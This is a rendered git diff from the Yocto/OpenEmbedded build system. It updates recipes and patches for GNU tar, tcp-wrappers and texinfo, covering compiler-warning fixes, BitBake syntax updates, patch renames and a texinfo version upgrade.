60 rm -rf ${S}/tests/testsuite
61 oe_runmake -C ${B}/tests/ testsuite
62 oe_runmake -C ${B}/tests/ genfile checkseekhole ckmtime
63}
64
65do_install_ptest() {
66 install -d ${D}${PTEST_PATH}/tests/
67 install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
68 sed -i "/abs_/d" ${D}${PTEST_PATH}/tests/atconfig
69 echo "abs_builddir=${PTEST_PATH}/tests/" >> ${D}${PTEST_PATH}/tests/atconfig
70 install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
71 sed -i "/PATH=/d" ${D}${PTEST_PATH}/tests/atlocal
72 install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
73 install --mode=755 ${B}/tests/checkseekhole ${D}${PTEST_PATH}/tests/
74 install --mode=755 ${B}/tests/ckmtime ${D}${PTEST_PATH}/tests/
75 install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
76 sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/run-ptest
77}
78
79PACKAGES =+ "${PN}-rmt"
80
81FILES:${PN}-rmt = "${sbindir}/rmt*"
82
83inherit update-alternatives
84
85ALTERNATIVE_PRIORITY = "100"
86
87ALTERNATIVE:${PN} = "tar"
88ALTERNATIVE:${PN}-rmt = "rmt"
89ALTERNATIVE:${PN}:class-nativesdk = ""
90ALTERNATIVE:${PN}-rmt:class-nativesdk = ""
91
92ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
93ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
94
95PROVIDES:append:class-native = " tar-replacement-native"
96NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
97
98BBCLASSEXTEND = "native nativesdk"
99
100# Avoid false positives from CVEs in node-tar package
101# For example CVE-2021-{32803,32804,37701,37712,37713}
102CVE_PRODUCT = "gnu:tar"
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
new file mode 100644
index 0000000000..474703885d
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
@@ -0,0 +1,114 @@
1From 9c97b5db237a793e0d1b6b0241570bdc6e35ee24 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Sun, 7 Aug 2022 17:42:24 -0700
4Subject: [PATCH] Fix implicit-function-declaration warnings
5
6These are seen with clang-15+
7
8Upstream-Status: Inappropriate [upstream is dead]
9Signed-off-by: Khem Raj <raj.khem@gmail.com>
10---
11 hosts_access.c | 3 +++
12 safe_finger.c | 1 +
13 shell_cmd.c | 3 +++
14 tcpd.c | 2 +-
15 tcpdchk.c | 1 +
16 workarounds.c | 1 +
17 6 files changed, 10 insertions(+), 1 deletion(-)
18
19diff --git a/hosts_access.c b/hosts_access.c
20index 0133e5e..58697ea 100644
21--- a/hosts_access.c
22+++ b/hosts_access.c
23@@ -33,6 +33,12 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
24 #endif
25 #include <netinet/in.h>
26 #include <arpa/inet.h>
27+#ifdef USE_GETDOMAIN
28+/* defined in workarounds.c */
29+extern int yp_get_default_domain(char **ptr);
30+#else
31+# include <rpcsvc/ypclnt.h>
32+#endif /* USE_GETDOMAIN */
33 #include <stdio.h>
34 #include <stdlib.h>
35 #include <syslog.h>
36@@ -45,6 +46,8 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
37 #endif
38
39 extern int errno;
40+extern int match_pattern_ylo(const char *s, const char *pattern);
41+extern unsigned long cidr_mask_addr(char* str);
42
43 #ifndef INADDR_NONE
44 #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
45diff --git a/safe_finger.c b/safe_finger.c
46index 23afab1..a6458fb 100644
47--- a/safe_finger.c
48+++ b/safe_finger.c
49@@ -34,6 +34,7 @@ static char sccsid[] = "@(#) safe_finger.c 1.4 94/12/28 17:42:41";
50 #include <syslog.h>
51
52 extern void exit();
53+extern int pipe_stdin(char **argv);
54
55 /* Local stuff */
56
57diff --git a/shell_cmd.c b/shell_cmd.c
58index 62d31bc..a566092 100644
59--- a/shell_cmd.c
60+++ b/shell_cmd.c
61@@ -16,10 +16,13 @@ static char sccsid[] = "@(#) shell_cmd.c 1.5 94/12/28 17:42:44";
62
63 #include <sys/types.h>
64 #include <sys/param.h>
65+#include <sys/wait.h>
66+#include <fcntl.h>
67 #include <signal.h>
68 #include <stdio.h>
69 #include <syslog.h>
70 #include <string.h>
71+#include <unistd.h>
72
73 extern void exit();
74
75diff --git a/tcpd.c b/tcpd.c
76index dc9ff17..4353caa 100644
77--- a/tcpd.c
78+++ b/tcpd.c
79@@ -46,7 +46,7 @@ void fix_options(struct request_info *);
80 int allow_severity = SEVERITY; /* run-time adjustable */
81 int deny_severity = LOG_WARNING; /* ditto */
82
83-main(argc, argv)
84+void main(argc, argv)
85 int argc;
86 char **argv;
87 {
88diff --git a/tcpdchk.c b/tcpdchk.c
89index 5dca8bd..67c12ce 100644
90--- a/tcpdchk.c
91+++ b/tcpdchk.c
92@@ -38,6 +38,7 @@ static char sccsid[] = "@(#) tcpdchk.c 1.8 97/02/12 02:13:25";
93
94 extern int errno;
95 extern void exit();
96+extern unsigned long cidr_mask_addr(char* str);
97 extern int optind;
98 extern char *optarg;
99
100diff --git a/workarounds.c b/workarounds.c
101index b22b378..6335049 100644
102--- a/workarounds.c
103+++ b/workarounds.c
104@@ -21,6 +21,7 @@ char sccsid[] = "@(#) workarounds.c 1.6 96/03/19 16:22:25";
105 #include <stdio.h>
106 #include <syslog.h>
107 #include <string.h>
108+#include <unistd.h>
109
110 extern int errno;
111
112--
1132.37.1
114
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
index 8e46df8e1e..cf4f993c1a 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
@@ -7,9 +7,8 @@ Date: Tue Feb 12 09:53:50 2013 -0500
7 Added support for socklen_t type to len argument passed to socket related 7 Added support for socklen_t type to len argument passed to socket related
8 calls. This fixes a bug that causes tcp wrappers to fail when using sshd. 8 calls. This fixes a bug that causes tcp wrappers to fail when using sshd.
9 9
10 Upstream-Status: Pending 10Upstream-Status: Pending
11 11Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
12 Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
13 12
14diff --git a/fix_options.c b/fix_options.c 13diff --git a/fix_options.c b/fix_options.c
15index 7473adf..fe2b442 100644 14index 7473adf..fe2b442 100644
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
index e903b9db14..bcd1d6f792 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
@@ -6,17 +6,14 @@ SECTION = "console/network"
6 6
7LICENSE = "BSD-1-Clause" 7LICENSE = "BSD-1-Clause"
8LIC_FILES_CHKSUM = "file://DISCLAIMER;md5=071bd69cb78b18888ea5e3da5c3127fa" 8LIC_FILES_CHKSUM = "file://DISCLAIMER;md5=071bd69cb78b18888ea5e3da5c3127fa"
9PR ="r10"
10
11DEPENDS += "libnsl2"
12 9
13PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc" 10PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc"
14FILES_libwrap = "${base_libdir}/lib*${SOLIBS}" 11FILES:libwrap = "${base_libdir}/lib*${SOLIBS}"
15FILES_libwrap-doc = "${mandir}/man3 ${mandir}/man5" 12FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5"
16FILES_libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}" 13FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
17FILES_libwrap-staticdev = "${libdir}/lib*.a" 14FILES:libwrap-staticdev = "${libdir}/lib*.a"
18FILES_${PN} = "${sbindir}" 15FILES:${PN} = "${sbindir}"
19FILES_${PN}-doc = "${mandir}/man8" 16FILES:${PN}-doc = "${mandir}/man8"
20 17
21SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \ 18SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
22 file://00_man_quoting.diff \ 19 file://00_man_quoting.diff \
@@ -50,6 +47,7 @@ SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
50 file://fix_warnings.patch \ 47 file://fix_warnings.patch \
51 file://fix_warnings2.patch \ 48 file://fix_warnings2.patch \
52 file://0001-Remove-fgets-extern-declaration.patch \ 49 file://0001-Remove-fgets-extern-declaration.patch \
50 file://0001-Fix-implicit-function-declaration-warnings.patch \
53 " 51 "
54 52
55SRC_URI[md5sum] = "e6fa25f71226d090f34de3f6b122fb5a" 53SRC_URI[md5sum] = "e6fa25f71226d090f34de3f6b122fb5a"
@@ -78,9 +76,9 @@ EXTRA_OEMAKE = "'CC=${CC}' \
78 'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'" 76 'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'"
79 77
80EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN" 78EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN"
81EXTRA_OEMAKE_NETGROUP_libc-musl = "-DUSE_GETDOMAIN" 79EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN"
82 80
83EXTRA_OEMAKE_append_libc-musl = " 'LIBS='" 81EXTRA_OEMAKE:append:libc-musl = " 'LIBS='"
84 82
85do_compile () { 83do_compile () {
86 oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \ 84 oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \
@@ -133,4 +131,4 @@ do_install () {
133 touch ${D}${sysconfdir}/hosts.deny 131 touch ${D}${sysconfdir}/hosts.deny
134} 132}
135 133
136FILES_${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny" 134FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
index ec04bfe390..a942ac2991 100644
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
+++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
@@ -1,5 +1,6 @@
1SUMMARY = "Fake version of the texinfo utility suite" 1SUMMARY = "Fake version of the texinfo utility suite"
2SECTION = "console/utils" 2SECTION = "console/utils"
3DESCRIPTION = "${SUMMARY}"
3LICENSE = "MIT" 4LICENSE = "MIT"
4LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb" 5LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb"
5DEPENDS = "" 6DEPENDS = ""
diff --git a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
index ab6f1658aa..b43a115b23 100644
--- a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch
+++ b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
@@ -1,3 +1,9 @@
1From ee9d23373b488c4a499c561d71e6b6ba7ca1bd31 Mon Sep 17 00:00:00 2001
2From: Joshua Lock <josh@linux.intel.com>
3Date: Fri, 16 Sep 2011 15:35:48 -0700
4Subject: [PATCH 1/3] texinfo: several changes to build without zlib and
5 ncurses
6
1We already DEPEND on the native texinfo being present before building so 7We already DEPEND on the native texinfo being present before building so
2there isn't any need to try and build the required native texinfo binaries 8there isn't any need to try and build the required native texinfo binaries
3before cross-compiling. This simplifies the recipe somewhat! 9before cross-compiling. This simplifies the recipe somewhat!
@@ -5,12 +11,15 @@ before cross-compiling. This simplifies the recipe somewhat!
5Upstream-Status: Inappropriate oe specific 11Upstream-Status: Inappropriate oe specific
6 12
7Signed-off-by: Joshua Lock <josh@linux.intel.com> 13Signed-off-by: Joshua Lock <josh@linux.intel.com>
14---
15 configure.ac | 24 +-----------------------
16 1 file changed, 1 insertion(+), 23 deletions(-)
8 17
9Index: texinfo-4.13/configure.ac 18diff --git a/configure.ac b/configure.ac
10=================================================================== 19index 8094498..5b72fc1 100644
11--- texinfo-4.13.orig/configure.ac 20--- a/configure.ac
12+++ texinfo-4.13/configure.ac 21+++ b/configure.ac
13@@ -100,29 +100,7 @@ AC_CANONICAL_BUILD 22@@ -247,29 +247,7 @@ AC_CANONICAL_BUILD
14 # $native_tools is also added to SUBDIRS in the main Makefile.am, 23 # $native_tools is also added to SUBDIRS in the main Makefile.am,
15 # so that make compiles the native tools first. 24 # so that make compiles the native tools first.
16 # 25 #
@@ -41,3 +50,6 @@ Index: texinfo-4.13/configure.ac
41 AC_SUBST(native_tools) 50 AC_SUBST(native_tools)
42 AM_CONDITIONAL(TOOLS_ONLY, [[test "x$tools_only" = x1]]) 51 AM_CONDITIONAL(TOOLS_ONLY, [[test "x$tools_only" = x1]])
43 52
53--
542.39.2
55
diff --git a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
index 0d6bbafadd..f3b6827d58 100644
--- a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
+++ b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
@@ -1,23 +1,22 @@
1From 63a803ead3656353329a801846a9a3beb7210c46 Mon Sep 17 00:00:00 2001 1From e02be81fa68ddc7f939abd99de4e42759a0d5d8c Mon Sep 17 00:00:00 2001
2From: Edwin Plauchu <edwin.plauchu.camacho@intel.com> 2From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
3Date: Tue, 29 Nov 2016 13:43:24 -0600 3Date: Tue, 29 Nov 2016 13:43:24 -0600
4Subject: [PATCH] dont-depend-on-help2man 4Subject: [PATCH 2/3] dont-depend-on-help2man
5 5
6Upstream-Status: Inappropriate 6Upstream-Status: Inappropriate
7 7
8Signed-off-by: Marko Lindqvist <cazfi74@gmail.com> 8Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
9Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com> 9Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
10
11--- 10---
12 doc/Makefile.am | 2 +- 11 doc/Makefile.am | 2 +-
13 man/Makefile.am | 12 ++++++------ 12 man/Makefile.am | 12 ++++++------
14 2 files changed, 7 insertions(+), 7 deletions(-) 13 2 files changed, 7 insertions(+), 7 deletions(-)
15 14
16diff --git a/doc/Makefile.am b/doc/Makefile.am 15diff --git a/doc/Makefile.am b/doc/Makefile.am
17index 732833e..041cb9b 100644 16index e9e6298..f1b9895 100644
18--- a/doc/Makefile.am 17--- a/doc/Makefile.am
19+++ b/doc/Makefile.am 18+++ b/doc/Makefile.am
20@@ -37,7 +37,7 @@ refcard_files = refcard/Makefile refcard/txicmdcheck \ 19@@ -63,7 +63,7 @@ refcard/txirefcard.pdf refcard/txirefcard-a4.pdf: refcard/txirefcard.tex
21 # Include our texinfo.tex, not Automake's. 20 # Include our texinfo.tex, not Automake's.
22 EXTRA_DIST = epsf.tex texinfo.tex \ 21 EXTRA_DIST = epsf.tex texinfo.tex \
23 fdl.texi \ 22 fdl.texi \
@@ -25,9 +24,9 @@ index 732833e..041cb9b 100644
25+ $(TXI_XLATE) \ 24+ $(TXI_XLATE) \
26 $(refcard_files) \ 25 $(refcard_files) \
27 texinfo-tex-test.texi texinfo-tex-test.WIDOWs \ 26 texinfo-tex-test.texi texinfo-tex-test.WIDOWs \
28 texinfo-ja.tex short-sample-ja.texi 27 texinfo-ja.tex short-sample-ja.texi \
29diff --git a/man/Makefile.am b/man/Makefile.am 28diff --git a/man/Makefile.am b/man/Makefile.am
30index d0cd72c..a19e52a 100644 29index f2c703f..61caeeb 100644
31--- a/man/Makefile.am 30--- a/man/Makefile.am
32+++ b/man/Makefile.am 31+++ b/man/Makefile.am
33@@ -11,27 +11,27 @@ 32@@ -11,27 +11,27 @@
@@ -64,3 +63,6 @@ index d0cd72c..a19e52a 100644
64 63
65 # Maintainers should be able to regenerate. 64 # Maintainers should be able to regenerate.
66 MAINTAINERCLEANFILES = $(man_MANS) 65 MAINTAINERCLEANFILES = $(man_MANS)
66--
672.39.2
68
diff --git a/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
new file mode 100644
index 0000000000..f99f8b87d5
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
@@ -0,0 +1,28 @@
1From 33b85a3928895b812b37dc759c6de711802db45f Mon Sep 17 00:00:00 2001
2From: Saul Wold <sgw@linux.intel.com>
3Date: Mon, 29 Jul 2013 15:02:34 -0700
4Subject: [PATCH 3/3] texinfo: Update to 5.1
5
6Upstream-Status: Inappropriate [cross build specific]
7
8Signed-off-by: Saul Wold <sgw@linux.intel.com>
9---
10 info/Makefile.am | 2 +-
11 1 file changed, 1 insertion(+), 1 deletion(-)
12
13diff --git a/info/Makefile.am b/info/Makefile.am
14index f57b341..a019aa7 100644
15--- a/info/Makefile.am
16+++ b/info/Makefile.am
17@@ -77,7 +77,7 @@ cmd_sources = $(srcdir)/session.c $(srcdir)/echo-area.c $(srcdir)/infodoc.c \
18 # more than once.
19 funs.h: makedoc$(EXEEXT) $(cmd_sources)
20 rm -f $(generated_sources)
21- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
22+ makedoc $(cmd_sources)
23
24 # The following hack is necessary to hint make before the automatic
25 # dependencies are built.
26--
272.39.2
28
diff --git a/meta/recipes-extended/texinfo/texinfo/link-zip.patch b/meta/recipes-extended/texinfo/texinfo/link-zip.patch
deleted file mode 100644
index 15c030c0c6..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/link-zip.patch
+++ /dev/null
@@ -1,23 +0,0 @@
1From c1002138033fcccb2d1abfc41f5c2e46c836f7a0 Mon Sep 17 00:00:00 2001
2From: Joshua Lock <josh@linux.intel.com>
3Date: Mon, 29 Jul 2013 15:02:34 -0700
4Subject: [PATCH] install-info uses symbols from zlib so must link against it.
5
6Upstream-Status: Pending
7
8Signed-off-by: Joshua Lock <josh@linux.intel.com>
9
10---
11 install-info/Makefile.am | 2 +-
12 1 file changed, 1 insertion(+), 1 deletion(-)
13
14diff --git a/install-info/Makefile.am b/install-info/Makefile.am
15index 9bcff71..68247f9 100644
16--- a/install-info/Makefile.am
17+++ b/install-info/Makefile.am
18@@ -33,4 +33,4 @@ AM_CPPFLAGS = \
19 -I$(top_srcdir)/gnulib/lib \
20 -I$(top_builddir)/gnulib/lib \
21 -DLOCALEDIR=\"$(localedir)\"
22-LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD)
23+LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD) -lz
diff --git a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch b/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
deleted file mode 100644
index f72097e639..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
+++ /dev/null
@@ -1,254 +0,0 @@
1From 3d3b66cf398853c666e724c3dbcc37d53a2240d5 Mon Sep 17 00:00:00 2001
2From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
3Date: Tue, 29 Nov 2016 12:27:17 -0600
4Subject: [PATCH] texinfo-4.12-zlib
5
6Upstream-Status: Pending
7
8Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
9Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
10
11---
12 install-info/Makefile.in | 2 +-
13 install-info/install-info.c | 79 ++++++++++++++++++++++---------------
14 2 files changed, 48 insertions(+), 33 deletions(-)
15
16diff --git a/install-info/Makefile.in b/install-info/Makefile.in
17index c924509..746df05 100644
18--- a/install-info/Makefile.in
19+++ b/install-info/Makefile.in
20@@ -218,7 +218,7 @@ am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(bindir)"
21 PROGRAMS = $(bin_PROGRAMS)
22 am_ginstall_info_OBJECTS = install-info.$(OBJEXT)
23 ginstall_info_OBJECTS = $(am_ginstall_info_OBJECTS)
24-ginstall_info_LDADD = $(LDADD)
25+ginstall_info_LDADD = $(LDADD) -lz
26 am__DEPENDENCIES_1 =
27 ginstall_info_DEPENDENCIES = $(top_builddir)/gnulib/lib/libgnu.a \
28 $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_1)
29diff --git a/install-info/install-info.c b/install-info/install-info.c
30index 21f4fe3..a7aba82 100644
31--- a/install-info/install-info.c
32+++ b/install-info/install-info.c
33@@ -19,6 +19,7 @@
34 #include <getopt.h>
35 #include <regex.h>
36 #include <argz.h>
37+#include <zlib.h>
38
39 #define TAB_WIDTH 8
40
41@@ -681,15 +682,15 @@ The first time you invoke Info you start off looking at this node.\n\
42
43 Return either stdin reading the file, or a non-stdin pipe reading
44 the output of the compression program. */
45-FILE *
46+void *
47 open_possibly_compressed_file (char *filename,
48 void (*create_callback) (char *),
49- char **opened_filename, char **compression_program)
50+ char **opened_filename, char **compression_program, int *is_pipe)
51 {
52 char *local_opened_filename, *local_compression_program;
53 int nread;
54 char data[13];
55- FILE *f;
56+ gzFile *f;
57
58 /* We let them pass NULL if they don't want this info, but it's easier
59 to always determine it. */
60@@ -697,48 +698,48 @@ open_possibly_compressed_file (char *filename,
61 opened_filename = &local_opened_filename;
62
63 *opened_filename = filename;
64- f = fopen (*opened_filename, FOPEN_RBIN);
65+ f = gzopen (*opened_filename, FOPEN_RBIN);
66 if (!f)
67 {
68 *opened_filename = concat (filename, ".gz", "");
69- f = fopen (*opened_filename, FOPEN_RBIN);
70+ f = gzopen (*opened_filename, FOPEN_RBIN);
71 }
72 if (!f)
73 {
74 free (*opened_filename);
75 *opened_filename = concat (filename, ".xz", "");
76- f = fopen (*opened_filename, FOPEN_RBIN);
77+ f = gzopen (*opened_filename, FOPEN_RBIN);
78 }
79 if (!f)
80 {
81 free (*opened_filename);
82 *opened_filename = concat (filename, ".bz2", "");
83- f = fopen (*opened_filename, FOPEN_RBIN);
84+ f = gzopen (*opened_filename, FOPEN_RBIN);
85 }
86 if (!f)
87 {
88 free (*opened_filename);
89 *opened_filename = concat (filename, ".lz", "");
90- f = fopen (*opened_filename, FOPEN_RBIN);
91+ f = gzopen (*opened_filename, FOPEN_RBIN);
92 }
93 if (!f)
94 {
95 free (*opened_filename);
96 *opened_filename = concat (filename, ".lzma", "");
97- f = fopen (*opened_filename, FOPEN_RBIN);
98+ f = gzopen (*opened_filename, FOPEN_RBIN);
99 }
100 #ifdef __MSDOS__
101 if (!f)
102 {
103 free (*opened_filename);
104 *opened_filename = concat (filename, ".igz", "");
105- f = fopen (*opened_filename, FOPEN_RBIN);
106+ f = gzopen (*opened_filename, FOPEN_RBIN);
107 }
108 if (!f)
109 {
110 free (*opened_filename);
111 *opened_filename = concat (filename, ".inz", "");
112- f = fopen (*opened_filename, FOPEN_RBIN);
113+ f = gzopen (*opened_filename, FOPEN_RBIN);
114 }
115 #endif /* __MSDOS__ */
116 if (!f)
117@@ -754,7 +755,7 @@ open_possibly_compressed_file (char *filename,
118 (*create_callback) (filename);
119
120 /* And try opening it again. */
121- f = fopen (*opened_filename, FOPEN_RBIN);
122+ f = gzopen (*opened_filename, FOPEN_RBIN);
123 if (!f)
124 return 0;
125 }
126@@ -764,26 +765,26 @@ open_possibly_compressed_file (char *filename,
127
128 /* Read first few bytes of file rather than relying on the filename.
129 If the file is shorter than this it can't be usable anyway. */
130- nread = fread (data, sizeof (data), 1, f);
131- if (nread != 1)
132+ nread = gzread (f, data, sizeof (data));
133+ if (nread != sizeof (data))
134 {
135- if (nread == 0)
136+ if (nread >= 0)
137 {
138 /* Try to create the file if its empty. */
139- if (feof (f) && create_callback)
140+ if (gzeof(f) && create_callback)
141 {
142- if (fclose (f) != 0)
143+ if (gzclose(f) != 0)
144 return 0; /* unknown error closing file */
145
146- if (remove (filename) != 0)
147+ if (remove(filename) != 0)
148 return 0; /* unknown error deleting file */
149
150 (*create_callback) (filename);
151- f = fopen (*opened_filename, FOPEN_RBIN);
152+ f = gzopen (*opened_filename, FOPEN_RBIN);
153 if (!f)
154 return 0;
155- nread = fread (data, sizeof (data), 1, f);
156- if (nread == 0)
157+ nread = gzread(f, data, sizeof (data));
158+ if (nread >= 0)
159 return 0;
160 goto determine_file_type; /* success */
161 }
162@@ -854,35 +855,40 @@ determine_file_type:
163 *compression_program = NULL;
164
165 /* Seek back over the magic bytes. */
166- if (fseek (f, 0, 0) < 0)
167+ if (gzseek (f, 0, SEEK_SET) == -1)
168 return 0;
169
170 if (*compression_program)
171 { /* It's compressed, so open a pipe. */
172+ FILE *p;
173 char *command = concat (*compression_program, " -d", "");
174
175- if (fclose (f) < 0)
176+ if (gzclose (f) < 0)
177 return 0;
178- f = freopen (*opened_filename, FOPEN_RBIN, stdin);
179- if (!f)
180+ p = freopen (*opened_filename, FOPEN_RBIN, stdin);
181+ if (!p)
182 return 0;
183- f = popen (command, "r");
184- if (!f)
185+ p = popen (command, "r");
186+ if (!p)
187 {
188 /* Used for error message in calling code. */
189 *opened_filename = command;
190 return 0;
191 }
192+ else
193+ *is_pipe = 1;
194+ return p;
195 }
196 else
197 {
198-#if O_BINARY
199+#if 0 && O_BINARY
200 /* Since this is a text file, and we opened it in binary mode,
201 switch back to text mode. */
202 f = freopen (*opened_filename, "r", f);
203 if (! f)
204 return 0;
205 #endif
206+ *is_pipe = 0;
207 }
208
209 return f;
210@@ -901,7 +907,8 @@ readfile (char *filename, int *sizep,
211 void (*create_callback) (char *), char **opened_filename,
212 char **compression_program)
213 {
214- FILE *f;
215+ void *f;
216+ int pipe_p;
217 int filled = 0;
218 int data_size = 8192;
219 char *data = xmalloc (data_size);
220@@ -909,14 +916,20 @@ readfile (char *filename, int *sizep,
221 /* If they passed the space for the file name to return, use it. */
222 f = open_possibly_compressed_file (filename, create_callback,
223 opened_filename,
224- compression_program);
225+ compression_program,
226+ &pipe_p);
227
228 if (!f)
229 return 0;
230
231 for (;;)
232 {
233- int nread = fread (data + filled, 1, data_size - filled, f);
234+ int nread;
235+
236+ if (pipe_p)
237+ nread = fread (data + filled, 1, data_size - filled, f);
238+ else
239+ nread = gzread (f, data + filled, data_size - filled);
240 if (nread < 0)
241 return 0;
242 if (nread == 0)
243@@ -935,8 +948,10 @@ readfile (char *filename, int *sizep,
244 /* We need to close the stream, since on some systems the pipe created
245 by popen is simulated by a temporary file which only gets removed
246 inside pclose. */
247- if (f != stdin)
248+ if (pipe_p)
249 pclose (f);
250+ else
251+ gzclose (f);
252
253 *sizep = filled;
254 return data;
diff --git a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch b/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
deleted file mode 100644
index 5b7f32d9a9..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
+++ /dev/null
@@ -1,17 +0,0 @@
1Upstream-Status: Inappropriate [cross build specific]
2
3Signed-off-by: Saul Wold <sgw@linux.intel.com>
4
5Index: texinfo-5.1/info/Makefile.am
6===================================================================
7--- texinfo-5.1.orig/info/Makefile.am
8+++ texinfo-5.1/info/Makefile.am
9@@ -76,7 +76,7 @@ cmd_sources = $(srcdir)/session.c $(srcd
10 # more than once.
11 funs.h: makedoc$(EXEEXT) $(cmd_sources)
12 rm -f $(generated_sources)
13- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
14+ makedoc $(cmd_sources)
15
16 # The following hack is necessary to hint make before the automatic
17 # dependencies are built.
diff --git a/meta/recipes-extended/texinfo/texinfo_6.7.bb b/meta/recipes-extended/texinfo/texinfo_7.1.bb
index d421b79a0b..65d8252fb9 100644
--- a/meta/recipes-extended/texinfo/texinfo_6.7.bb
+++ b/meta/recipes-extended/texinfo/texinfo_7.1.bb
@@ -4,10 +4,10 @@ online information and printed output from a single source file. The \
4GNU Project uses the Texinfo file format for most of its documentation." 4GNU Project uses the Texinfo file format for most of its documentation."
